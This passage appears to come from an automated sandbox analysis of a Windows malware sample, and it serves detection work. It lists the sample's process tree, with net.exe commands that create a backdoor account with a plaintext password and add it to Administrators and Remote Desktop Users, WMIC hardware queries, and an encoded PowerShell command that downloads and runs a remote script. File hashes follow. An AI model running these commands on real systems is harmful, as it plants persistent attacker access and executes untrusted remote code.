C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:4052
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc 3WFaAX0N /add1⤵PID:2860
-
C:\Windows\system32\net.exenet.exe user wgautilacc 3WFaAX0N /add2⤵PID:3848
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 3WFaAX0N /add3⤵PID:3468
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:2812
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:4024
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:2260
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD1⤵PID:2068
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD2⤵PID:752
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD3⤵PID:3512
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:1296
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:1016
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:3792
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc 3WFaAX0N1⤵PID:3756
-
C:\Windows\system32\net.exenet.exe user wgautilacc 3WFaAX0N2⤵PID:2016
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 3WFaAX0N3⤵PID:3788
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:3044
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
PID:908
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2456
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
PID:3816
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:3948
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1600
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1700
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
88f64f83b0347a89de94d39c922de8be
SHA16f6994a18df262aad0d2b50b7e8b27b6b310b7a4
SHA2562f642e4a8b22ad149697df770a1f5d1d87aec3d8b2320b867597ebfd5e3d8fd5
SHA5129450effe8020f6a8adc840566639f2e5f6942217ae56182af7af5de441bc7ed37b97da983281e7d8b17ab9f6334c79269c94588f14ff61010d1b1c2b27c754a8
-
MD5
7d4057365f857501253e0273336b7256
SHA162375a5303e4a59e95cf7e0072cd58efa187b7f2
SHA256003e6c8d0f15c6eb4738ea99f9fd99457d43d65e9d4f15506446db4b51b02079
SHA5127059a22ba6020db18f7b86e09b816bedd0a9f208818dcb98c69a647f6aee18ffaf4c60c3725bdfa8a354a7244b9c32fc07c3fc0d807ca39dda69842681a9fd6c
-
MD5
88f64f83b0347a89de94d39c922de8be
SHA16f6994a18df262aad0d2b50b7e8b27b6b310b7a4
SHA2562f642e4a8b22ad149697df770a1f5d1d87aec3d8b2320b867597ebfd5e3d8fd5
SHA5129450effe8020f6a8adc840566639f2e5f6942217ae56182af7af5de441bc7ed37b97da983281e7d8b17ab9f6334c79269c94588f14ff61010d1b1c2b27c754a8
-
MD5
109dfda879c2954ab2c86c465af694b1
SHA1318bec946966f6640d4a8cc2f615d8ff46e0e598
SHA25674a6499a65d4b1df96a8db88714fb75f6ffe99b84d39c4d492ec840df0f9bf67
SHA512afb8077b538ce66fe6c998e10699369f7151ba35e78e08c5cc82d78f48c0662bf729f2a0dd666dc755841a939c1212ddc55132ab4ae441f341dfa01122bfe977
-
MD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
MD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
MD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
MD5
e7173515ef44feb1ee618484b7743e93
SHA18f976bf1da030655afd0f43e0a357a58a2ea9178
SHA2567875f52e1f97a463783456b6b3c2dbc85f183534b5281ba72b0574529139d86b
SHA51241830f7036e32679bf274c67390dd6bca9f6286ee8d3144d0e57ca39fdca1ec1a8273fb528ffed819444b183067ab6078bfaa0e82d16deed3fac47a1cf027361
-
MD5
cc40cab4e1dcf896fc8a9b88a8c08cf2
SHA18fe7eda7780d5aa7b33e454a316193147185703e
SHA256598c4e4eb365408f36c726c762036df71635ea3d58d756ca9d6f62040b543a86
SHA51243aaa589b51419413d80c430e6066ca3d30073701853b805e294e23a963896a54299dfcbe63c6e3b7f615c1b624e9b828d5b0054c2d40b5c5cf2ec9af22032e0
-
MD5
0370594a63343a76cb88063ce1de6aa5
SHA1294723c638bb1ee40062b771b525d2e5d1fcdaab
SHA256b2c69d17324eb87223b5067a634bb34a4cb25790ec4809a6b84b0382c4a1b373
SHA5127c5489d294471e42088614d9902e6dbef0b54c1e63e44b3342ef8fcdac9c969fba17e22a221f473501e113d57e75164628394db1a7149d94a0a242b6c2bced3a
-
MD5
3447df88de7128bdc34942334b2fab98
SHA1519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA2569520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA5122ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f
-
MD5
91f2ffa1c3ed8abba9ce6a3a8f63ae61
SHA10686c03aedfa4a0a17397da8dbb7e73cea42fa33
SHA256069a95878671a32398ba592ad95049a9bff8b727849465d73c17382eb53869f8
SHA51291473dfbf6b058b9ff70b38b1a7c82046b130c44e349e90b97eb651198b0a64a201ea64b03877e3179b2cb8c729a9fb0a54c408206d8f06c8a71197d3fba93ae
-
MD5
848b7cf1f06fd72e819f3ef7e4b3643d
SHA1f99721b27d13be84677031c0099ca8277acfbe79
SHA25687e6705a0fc4eb791c31cb7d3b7f0ec849be34f508240755672c2175ec8b6d5f
SHA512d96e0c310528ce73ea36e043a4e1ed4c8ece49acf9a7b45373a05b4b957f8e9b24b3cc754b082be749c25865df50940dae09e25e58788b52676f5968a8ccf201
-
MD5
4864fc038c0b4d61f508d402317c6e9a
SHA172171db3eea76ecff3f7f173b0de0d277b0fede7
SHA2560f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA5129e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31
-
MD5
afaa81a34c6af6461382ea58caacdc58
SHA1c6a5d6316dcfb41760c253aa41bde571edde961a
SHA256cd7745df1fa49da41b5e3673e602001bd32c308777fefb68d50bb6967ea75a7e
SHA512909b7ebc3fbafcd0368880347dc20c7dff7322ded97590e0c1f5c4d67d855f34503d1c5fb898177005495162b248fb7644b6b1b2cf7f4e322ea6d3cd133815b4
-
MD5
7ddf5fb0ee8289cc286b454a7b53a603
SHA1065aeffcc062d442671b3f67df6473bee9367b3a
SHA2568f55881188f7be83a94148b548fee913bde5d658ea462dd9e4dc5945e41197e7
SHA5127783144e8b92512d4e9bf23664d56bdab30f3c97a3e7d31d4ca233f7f47bd69983e7f5f9f2469b420146460ae514b9c891a66aad06077f06d1df1cf9b15581a4
-
MD5
667d42e1a5ba6c7a929e8e77262a9861
SHA1dd73058c4d6b851f3c347410342a0b7a9b2a689a
SHA256a6a996d5e38ac43969a5151393e87aa85b79d1a5bb4449ca1328c610e8803a1c
SHA5127fb5611eba143a32faf3e20637c649ed78535578f7f64750b52586b3fbf738ad07a40f61fe7840204a7ee8d42fb75d7e6213579c7f4df114f3e135e72825bb53